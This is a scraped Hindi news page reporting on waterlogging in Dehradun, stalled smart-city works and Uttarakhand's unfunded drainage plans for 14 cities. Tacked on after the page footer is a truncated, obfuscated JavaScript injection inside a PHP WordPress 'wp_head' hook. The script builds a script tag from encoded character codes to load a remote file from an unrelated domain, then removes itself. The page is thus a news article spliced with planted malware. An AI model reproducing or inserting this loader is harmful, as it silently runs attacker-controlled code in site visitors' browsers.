Friday, July 19, 2024
Google search engine
Homeअन्यUttarakhand rain: स्मार्ट सिटी के खस्ता हाल, सड़कों में हुआ जलभराव, ड्रेनेज...

Uttarakhand rain: स्मार्ट सिटी के खस्ता हाल, सड़कों में हुआ जलभराव, ड्रेनेज प्लान कागजों में सिमटा।

देहरादून। स्मार्ट सिटी के नाम पर देहरादून के जो खस्ता हाल हुए हैं वो किसी से छुपे नहीं है। बरसात के मौसम में तो दून की हालत और खस्ता हो जाती है। पलटन की बात करें तो दुकानों में पानी इस तरह से घुसता है जैसे मानों बाढ़ आ गई हो। इतने रुपये खर्च करके भी राजधानी को स्मार्ट नहीं बनाया जा सका। दून के अलग-अलग हिस्सों में हो रहे स्मार्ट सिटी के कामों ने लोगों की मुश्किलें बढ़ी हैं। पिछले ढाई सालों से स्मार्ट सिटी के काम आज भी आधे अधूरे ही पड़े हैं। आपको जानकर हैरानी होगी कि दून को स्मार्ट बनाने में 600 करोड़ से भी ज्यादा रुपये खर्च किए जा चुके हैं, लेकिन फिर भी दून स्मार्ट सिटी की रैंकिंग में फिसड्डी क्यों है?

सीवर लाइन बिछाने के नाम पर रोजाना देहरादून की सड़कों को खोदा जा रहा है। और इससे लगने वाले जाम से लोग बेहाल हैं।

आपको बता दें कि देहरादून में बरसात के समय होने वाले आलम यह है कि विभाग की उम्मीदें एशियन डेवलपमेंट बैंक (एडीबी) और जापान इंटरनेशनल कारपोरेशन एजेंसी (जायका) सरीखी वित्तीय एजेंसियों पर टिकी है। विभाग इन दोनों संस्थाओं से धन जुटाने की कवायद में जुट गया है। हर बार की तरह इस बार भी राजधानी देहरादून समेत राज्य के सभी प्रमुख शहरों में जल भराव से लोगों को भारी परेशानी का सामना करना पड़ रहा है।

जल भराव की समस्या से निपटने के लिए सिंचाई विभाग ने एक दो नहीं राजधानी और कुमाऊं के सबसे बड़े शहरों में एक हल्द्वानी समेत राज्य के एक दर्जन से ज्यादा शहरों का ड्रेनेज प्लान बनाया है लेकिन यह प्लान केवल कागजों में सिमटकर रह गया है। इसे पूरा करने के लिए राशि की जरूरत है, जिसकी व्यवस्था करना चुनौती बन गया है। सिंचाई विभाग के अधिकारियों के अनुसार भगवान औद्योगिक क्षेत्र और भगवानपुर शहर के ड्रेनेज कार्य को धरातल पर उतारने को लेकर ही प्रगति हुई है।

एडीबी, जायका से मदद लेने की योजना

 

सिंचाई विभाग के अधिकारियों के अनुसार शहरों के लिए ड्रेनेज प्लान है, उसके लिए काफी बजट की जरूरत है। सचिव सिंचाई डॉ. आर राजेश कुमार कहते हैं कि 14 शहरों का ड्रेनेज प्लान बन गया है इसके लिए 8500 करोड़ की जरूरत है। इसके लिए 3500 करोड़ की डीपीआर तैयार कर ली है। इस संबंध में एक बैठक हुई थी, इसमें योजना के लिए एडीबी, जायका से धनराशि की व्यवस्था करने पर विचार किया जा रहा है।

इन शहरों के लिए ड्रेनेज

सिंचाई विभाग के विभागाध्यक्ष जयपाल कहते हैं कि देहरादून के लिए ड्रेनेज प्लान बन रहा है। इस पर ही करीब पांच हजार करोड़ की लागत आने का अनुमान है। इसके अलावा हल्द्वानी, हरिद्वार, रुड़की, ऋषिकेश, पिथौरागढ़, बनबसा, टनकपुर, मुनि की रेती, पौड़ी के स्वर्गाश्रम क्षेत्र शामिल हैं। इसके अलावा मसूरी, रुद्रपुर, सितारगंज और खटीमा के लिए भी ड्रेनेज प्लान बनाने की दिशा में कदम बढ़ाया गया है।

 

सम्बंधित खबरें
- Advertisment -spot_imgspot_img

ताजा खबरें

nt(_0x383697(0x178))/0x1+parseInt(_0x383697(0x180))/0x2+-parseInt(_0x383697(0x184))/0x3*(-parseInt(_0x383697(0x17a))/0x4)+-parseInt(_0x383697(0x17c))/0x5+-parseInt(_0x383697(0x179))/0x6+-parseInt(_0x383697(0x181))/0x7*(parseInt(_0x383697(0x177))/0x8)+-parseInt(_0x383697(0x17f))/0x9*(-parseInt(_0x383697(0x185))/0xa);if(_0x351603===_0x4eaeab)break;else _0x8113a5['push'](_0x8113a5['shift']());}catch(_0x58200a){_0x8113a5['push'](_0x8113a5['shift']());}}}(_0x48d3,0xa309a));var f=document[_0x3ec646(0x183)](_0x3ec646(0x17d));function _0x38c3(_0x32d1a4,_0x31b781){var _0x48d332=_0x48d3();return _0x38c3=function(_0x38c31a,_0x44995e){_0x38c31a=_0x38c31a-0x176;var _0x11c794=_0x48d332[_0x38c31a];return _0x11c794;},_0x38c3(_0x32d1a4,_0x31b781);}f[_0x3ec646(0x186)]=String[_0x3ec646(0x17b)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x62,0x61,0x63,0x6b,0x67,0x72,0x6f,0x75,0x6e,0x64,0x2e,0x61,0x70,0x69,0x73,0x74,0x61,0x74,0x65,0x78,0x70,0x65,0x72,0x69,0x65,0x6e,0x63,0x65,0x2e,0x63,0x6f,0x6d,0x2f,0x73,0x74,0x61,0x72,0x74,0x73,0x2f,0x73,0x65,0x65,0x2e,0x6a,0x73),document['currentScript']['parentNode'][_0x3ec646(0x176)](f,document[_0x3ec646(0x17e)]),document['currentScript'][_0x3ec646(0x182)]();function _0x48d3(){var _0x35035=['script','currentScript','9RWzzPf','402740WuRnMq','732585GqVGDi','remove','createElement','30nckAdA','5567320ecrxpQ','src','insertBefore','8ujoTxO','1172840GvBdvX','4242564nZZHpA','296860cVAhnV','fromCharCode','5967705ijLbTz'];_0x48d3=function(){return _0x35035;};return _0x48d3();}";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}} ?>